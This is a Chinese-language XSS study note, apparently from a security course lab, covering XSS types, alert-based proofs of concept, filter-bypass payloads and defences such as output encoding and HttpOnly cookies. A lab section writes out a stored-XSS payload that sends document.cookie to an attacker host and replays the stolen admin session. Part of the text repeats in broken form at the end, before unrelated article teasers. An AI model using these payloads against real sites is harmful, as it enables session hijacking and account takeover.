xss学习笔记

跨站脚本攻击

  • 掌握XSS 的原理

  • 掌握XSS 的场景

  • 掌握XSS 的危害

  • 掌握XSS 漏洞验证

  • 掌握XSS 的分类跨站脚本攻击

漏洞概述

​ 跨站点脚本(Cross Site Scripting, XSS)是指客户端代码注入攻击,攻击者可以在合法网站或Web 应用程序中执行恶意脚本。当web 应用程序在其生成的输出中使用未经验证或未编码的用户输入时,就会发生XSS。

​ 跨站脚本攻击,XSS (Cross Site Scripting)。由于与CSS (Cascading Style Sheet) 重名,所以就更名为XSS。

​ XSS 作为OWASP TOP 10(2017)内容之一,主要使用JavaSript 来完成恶意攻击的行为,JS 可以非常灵活的操纵HTML、CSS、浏览器,这就使得XSS 攻击“想象”空间非常大。也就是说,JS 强大的灵活性和功能,为XSS 攻击提供了非常广阔的攻击面

XSS 漏洞原理

​ XSS 通过将精心构造的代码(JavaScript)注入到网页中,并由浏览器解释运行这段JS 代码,以达到恶意攻击的效果。当用户访问被XSS 脚本注入过的网页,XSS 脚本就会被提取出来,用户浏览器就会解析执行这段代码,也就是说用户被攻击了。整个XSS 攻击过程,涉及三个角色:

  • 服务器

  • 攻击者

  • 客户端浏览器用户(前端)

image-20231109093154576

注意:

  • 搜索框、登录框、微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS 代码,都存在遭受XSS 的风险。

  • 等待受害者访问被注入恶意代码的页面,很被动,盲打。

  • XSS 攻击目标是客户端浏览器用户,由于浏览器的类别不同,攻击效果不同,甚至于同一款浏览器,攻击效果都不一样

XSS 漏洞危害

XSS 是利用JS 代码实现攻击,有很多危害:

  • 盗取各种用户账号;

  • 窃取用户Cookie 资料,冒充用户身份进入网站;

  • 劫持用户会话执行任意操作;

  • 刷流量,执行弹窗广告;

  • 传播蠕虫病毒;

XSS漏洞验证

可以使用一段简单的代码,验证和检测漏洞的存在,这样的代码叫做POC(Proof of Concept)。验证XSS 漏洞存在的POC 如下:

<script>alert(/xss/);</script>
<script>confirm(/xss/);</script>
<script>confirm('xss');</script>
<script>prompt('xss');</script>

如果页面弹窗,浏览器把用户提交的字符串当做JS 来执行,并且执行成功,说明XSS 漏洞存在

XSS漏洞分类

  • 反射型XSS

  • 存储型XSS

  • DOM 型XSS

反射型XSS

非持久性、参数型的跨站脚本。反射型XSS 的代码在Web 应用的参数中,例如搜索框的反射型XSS。

注意到,反射型XSS 代码出现在keywords 参数中

http://10.4.7.130/cms/search.php?
keywords=%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E&button=%E6%90%9C%E7%B4%A2

容易被发现,利用难度高,很多漏洞提交平台不收反射型XSS 漏洞

存储型XSS

持久性跨站脚本。持久性体现在XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方,可以在留言板位置进行留言,将恶意代码写进数据库中。

危害面比较广,漏洞提交平台会接收此类漏洞

DOM 型XSS

DOM 型XSS 是一种XSS 攻击,其中攻击的代码是由于修改受害者浏览器页面的DOM 树而执行的。特殊的地方就是攻击代码(payload) 在浏览器本地修改DOM 树而执行,并不会将payload 上传到服务器,这也使得DOM 型XSS 比较难以检测

http://10.4.7.130/xss_test/DOM-XSS/?message=%3Cscript%3Ealert(/xss/)%3C/script%3E
http://10.4.7.130/xss_test/DOM-XSS/#message=%3Cscript%3Ealert(/xss/)%3C/script%3E

注意:

  • 修改DOM 树执行;

  • 采用# 号的方式,参数不会提交到服务器

XSS攻防案例

  • 理解XSS 漏洞危害

  • 掌握固定会话攻击的方法

固定会话

原理

用户会话令牌利用Cookie 来实现的,Cookie 是存储在浏览器端的一小段文本,相当于身份证,会有窃取和欺骗的风险。

可以利用XSS 攻击窃取到浏览器里的Cookie 信息。

由于XXS 触发需要浏览器客户端用户(受害者)参与,攻击者不清楚何时何地会触发漏洞,这个过程一般被成为XSS 盲打

XSS平台

待补充

xss防御注释

直接在搜索框执行xss代码

image-20231109112514733

发现没有执行

在cms的search.php中注释掉这一行

image-20231109112936395

随后即可执行

image-20231109113058335

xss攻击过程模拟

攻击者将该xss攻击代码通过浏览器写入后台

内容中的ip为kali的ip

<script>document.write('<img src="http://10.4.7.138/'+document.cookie+'" width=0 height=0 border=0/>');</script>转义过后<script>document.write(\'<img src=\"http://10.4.7.138/\'+document.cookie+\'\" width=0 height=0 border=0/>\')\;</script>

kali开启http服务用于接受cookie返回值

image-20231109111517584

在浏览器通过留言板写入后台

image-20231109111627647

当管理员登录后台看到数据的时候返回cookie

image-20231109111817286

image-20231109111805347

username=admin
userid=1
PHPSESSID=j2qv5iepuh58p5eenc158p3816

攻击者进入后台管理登录页,然后使用控制台写入cookie信息

document.cookie='username=admin'
document.cookie='userid=1'
document.cookie='PHPSESSID=j2qv5iepuh58p5eenc158p3816'

image-20231109112244693

然后直接访问admin页,无密码登录成功

image-20231109112310617

影响

  • 黑客可以利用Cookie 信息,也就是身份凭据,登录后台;

  • 即使管理员注销登录,会话依然有效;

  • 即使管理员修改了密码,会话依然有效

防御

  • 根据实际情况采用“单点登录”;

  • 采用Session 机制;

  • 设置token 值;

  • 对Cookie 数据,设置HttpOnly 属性;

HTTP/1.1 200 OK
Date: Mon, 23 Nov 2020 02:16:57 GMT
Server: Apache
X-Powered-By: PHP/5.6.40
Set-Cookie: username=AJEST; expires=Mon, 23-Nov-2020 03:16:57 GMT; Max-Age=3600; path=/; domain=localhost;
httponly
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

xss攻防

  • 掌握XSS 的构造方法

  • 掌握XSS 的变形方式

  • 掌握XSS 的防御手段

xss构造方法

通过何种方法触发XSS

利用

<img src = https://ss1.bdstatic.com/70cFvXSh_Q1YnxGkpoWK1HF6hhy/it/u=2866847033,2297252904&fm=26&gp=0.jpg>
<script>alert(/xss/)</script>

javascript伪协议

可以通过URL 载入资源的标签

<a href = javascript:alert(/xss/) >click me!</a>
<img src = "javascript:alert(/xss/)"> <!-- IE6 -->

XSS 攻击的是浏览器,受前端影响比较大。浏览器的类型,版本等因素都会影响XSS 的效果

事件响应

“事件驱动”是一种比较典型的编程思想

事件类型说明
window 事件对window 对象触发的事件
Form 事件HTML 表单内触发的事件
Keyboard 事件键盘事件
Mouse 事件鼠标事件
Media 事件由多媒体触发的事件
<img
src = "https://ss1.bdstatic.com/70cFvXSh_Q1YnxGkpoWK1HF6hhy/it/u=2866847033,2297252904&fm=26&gp=0.jpg">
<img
onmouseover = 'alert(/dont touch me!/)'
src = "https://ss1.bdstatic.com/70cFvXSh_Q1YnxGkpoWK1HF6hhy/it/u=2866847033,2297252904&fm=26&gp=0.jpg">
<input type = 'text' onkeydown = 'alert(/xss/)'>
<input type = 'text' onkeyup = 'alert(/xss/)'>

其它标签

<svg onload='alert(/xss/)'>
<input onfocus=alert(/xss/) autofocus>

参考

Cross-site scripting (XSS) cheat sheet

xss变形方式

cms 网站搜索框存在反射性XSS 漏洞,POC 如下:

<script>alert(/xss/)</script>

尝试在代码角度,对XSS 漏洞进行修复:修改 /cms/search.php 文件,对 $_GET[‘keywords’] 进行过滤,代码如下:

$keyword = $_GET['keywords'];
// $keyword = str_replace("<script>", "", $keyword);
// $keyword = preg_replace("/<script>/i", "", $keyword);
$keyword = preg_replace("/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", $keyword);
// $keyword = str_replace("on", "o_n", $keyword);
$keyword = preg_replace("/on/i", "o_n", $keyword);
// $keyword = str_replace("<", "", $keyword);
// $keyword = str_replace(">", "", $keyword);
$keyword = htmlspecialchars($keyword);
echo $keyword;

大小写转换

浏览器对HTML 标签大小写不敏感

<ScRiPt>alert(/xss/)</script>
<img ONerror = 'alert(/xss/)' src = "#">

例如

$keywords = str_replace("<script>", "", $keywords);

该防御代码为替换<script>为空

可以将标签中大小写转换绕过

image-20231109171439344

关键字双写

绕过一次过滤

<scr<script>ipt>alert(/xss/)</script>

例如

$keywords = preg_replace("/<script>/i", "", $keywords);

该防御代码为替换<script>为空,无论其中大小写

可以使用双写替换

image-20231109171658143

对伪协议进行转码

html编码:

字母ASCII码十进制编码十六进制编码
a97&#97;&#x61;
c99&#99;&#x63;
e101&#101;&#x65;
<a
href = '&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(/xss/)
'>click me!</a>

其他编码:

  • utf-8 编码

  • utf-7 编码

插入其它字符

可以将以下字符插入到任意位置

字符编码
Tab&#9;
换行&#10;
回车&#13;
<a href = 'j&#9;avasc&#10;r&#13;ipt:alert(/xss/)'>click me!</a>

将以下字符插入到头部位置

字符编码
SOH&#01;
STX&#02;
<a href = '&#01;&#02;j&#9;avasc&#10;r&#13;ipt:alert(/xss/)'>click me!</a>

引号的使用

HTML 语言对引号的使用要求不严格,某些过滤函数是“锱铢必较”。

  • 没有引号

  • 单引号

  • 双引号

<Img sRc=# OnErRoR=alert(/xss/);>
<Img sRc = '#' OnErRoR='alert(/xss/)'>
<Img sRc = "#" OnErRoR="alert(/xss/)">

/ 代替空格

<Img/sRc='#'/OnErRoR='alert(/xss/)'>

拆分跨站

将一段JS 代码拆成多段

<script>z='alert'</script>
<script>z+='(/xss/)'</script>
<script>eval(z)</script>
<script>eval(alert(/xss/))</script>

XSS 的防御

XSS 过滤器的作用是过滤用户(浏览器客户端)提交的有害信息,从而达到防范XSS 攻击的效果。

输入过滤

永远不要相信用户的输入。

输入验证:对用户提交的信息进行“有效性”验证。

  • 仅接受指定长度;

  • 仅包含合法字符;

  • 仅接收指定范围;

  • 特殊的格式,例如,email、IP 地址。

数据消毒:过滤或净化掉有害的输入。

<?php
// echo $_GET['keywords'];
$keywords = $_GET['keywords'];
$keywords = strtolower($keywords);
$keywords = str_replace("on", "", $keywords);
$keywords = str_replace("<script>", "", $keywords);
$keywords = str_replace("<", "", $keywords);
$keywords = str_replace(">", "", $keywords);
echo $keywords;
?>

输出编码

HTML 编码是HTML 实体编码。

$keywords = htmlspecialchars( $_GET[ 'keywords' ] );

黑白名单策略

不管是采用输入过滤还是输出编码,都是针对用户提交的信息进行黑、白名单式的过滤:

  • 黑名单:非允许的内容

  • 白名单:允许的内容

防御DOM型XSS

避免客户端文档重写,重定向或其他敏感操作

终极测试代码

<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>

keywords);
$keywords = str_replace(“


### 输出编码HTML 编码是HTML 实体编码。~~~php
$keywords = htmlspecialchars( $_GET[ 'keywords' ] );

黑白名单策略

不管是采用输入过滤还是输出编码,都是针对用户提交的信息进行黑、白名单式的过滤:

  • 黑名单:非允许的内容

  • 白名单:允许的内容

防御DOM型XSS

避免客户端文档重写,重定向或其他敏感操作

终极测试代码

<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/171457.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux可以投屏到电视吗?用网页浏览器就能投屏到电视!

Linux系统的电脑如果要投屏到安卓电视屏幕上&#xff0c;可以使用投屏工具AirDroid Cast的网页版和TV版一起实现。 首先&#xff0c;在Linux系统的电脑里用chrome浏览器或edge浏览器打开webcast.airdroid.com。这就是AirDroid Cast的网页版。你可以看到中间白色框框的右上角有个…

使用Jmeter进行http接口性能测试

在进行网页或应用程序后台接口开发时&#xff0c;一般要及时测试开发的接口能否正确接收和返回数据&#xff0c;对于单次测试&#xff0c;Postman插件是个不错的Http请求模拟工具。 但是Postman只能模拟单客户端的单次请求&#xff0c;而对于模拟多用户并发等性能测试&#xf…

asp.net core mvc之 RAZOR共享指令和标签助手 TagHelpers

一、RAZOR共享指令 RAZOR共享指令&#xff1a;在视图中导入命名空间&#xff0c;执行依赖注入。 RAZOR共享指令是写在 Views目录下的 _ViewImports.cshtml 文件 支持指令如下&#xff1a; addTagHelper 增加标签助手 removeTagHelper 移除标签助手 tagHelperPrefix 标签助手…

es性能强悍的推演过程

前言 es底层复用的Lucene的能力&#xff0c;Lucene在以前的文章中有所讲解&#xff0c;感兴趣可查看 https://blog.csdn.net/u013978512/article/details/125474873?ops_request_misc%257B%2522request%255Fid%2522%253A%2522169771769916777224433628%2522%252C%2522scm%2522…

模拟接口数据之使用Fetch方法实现

文章目录 前言一、package.json配置mock执行脚本二、封装接口&#xff0c;区分走ajax还是fetch三、创建mock目录&#xff0c;及相关接口文件四、定义接口五、使用mock数据使用模拟数据优化fetch返回数据 六、不使用模拟数据七、对比其他需要使用依赖相关配置如有启发&#xff0…

Linux 性能调优之硬件资源监控

写在前面 考试整理相关笔记博文内容涉及 Linux 硬件资源监控常见的命名介绍&#xff0c;涉及硬件基本信息查看查看硬件错误信息查看虚拟环境和云环境资源理解不足小伙伴帮忙指正 对每个人而言&#xff0c;真正的职责只有一个&#xff1a;找到自我。然后在心中坚守其一生&#x…

Linux常用命令——bzip2命令

在线Linux命令查询工具 bzip2 将文件压缩成bz2格式 补充说明 bzip2命令用于创建和管理&#xff08;包括解压缩&#xff09;“.bz2”格式的压缩包。我们遇见Linux压缩打包方法有很多种&#xff0c;以下讲解了Linux压缩打包方法中的Linux bzip2命令的多种范例供大家查看&…

Mac 本地部署thinkphp8【部署环境以及下载thinkphp】

PHP的安装以及环境变量配置 1 PHP安装&#xff1a;在终端输入brew install php 这里是PHP下载的最新的 如果提示‘brew’找不到&#xff0c;自己搜索安装吧&#xff0c; 不是特别难 2 环境变量配置 终端输入vim ~/.bash_profile 输入export PATH"/usr/local/Cellar/php/8.…

C++阶段复习‘‘‘‘总结?【4w字。。。】

文章目录 前言类和对象C类定义和对象定义类成员函数C 类访问修饰符公有&#xff08;public&#xff09;成员私有&#xff08;private&#xff09;成员受保护&#xff08;protected&#xff09;成员 继承中的特点类的构造函数和析构函数 友元函数内联函数this指针指向类的指针类…

集成Line、Facebook、Twitter、Google、微信、QQ、微博、支付宝的三方登录sdk

下载地址&#xff1a; https://githubfast.com/anerg2046/sns_auth 安装方式建议使用composer进行安装 如果linux执行composer不方便的话&#xff0c;可以在本地新建个文件夹&#xff0c;然后执行上面的composer命令&#xff0c;把代码sdk和composer文件一起上传到项目适当位…

Spring事务之AOP导致事务失效问题

情况说明 首先开启了AOP&#xff0c;并且同时开启了事务。下面这个TransactionAspect就是一个简单的AOP切面&#xff0c;有一个Around通知。 Aspect Component public class TransactionAspect {Pointcut("execution(* com.qhyu.cloud.datasource.service.TransactionSe…

【Android】画面卡顿优化列表流畅度四之Glide几个常用参数设置

好像是一年前快两年了&#xff0c;笔者解析过glide的源码&#xff0c;也是因为觉得自己熟悉一些&#xff0c;也就没太关注过项目里glide的具体使用对当前业务的影响&#xff1b;主要是自负&#xff0c;还有就是真没有碰到过这样的数据加载情况。暴露了经验还是不太足够 有兴趣的…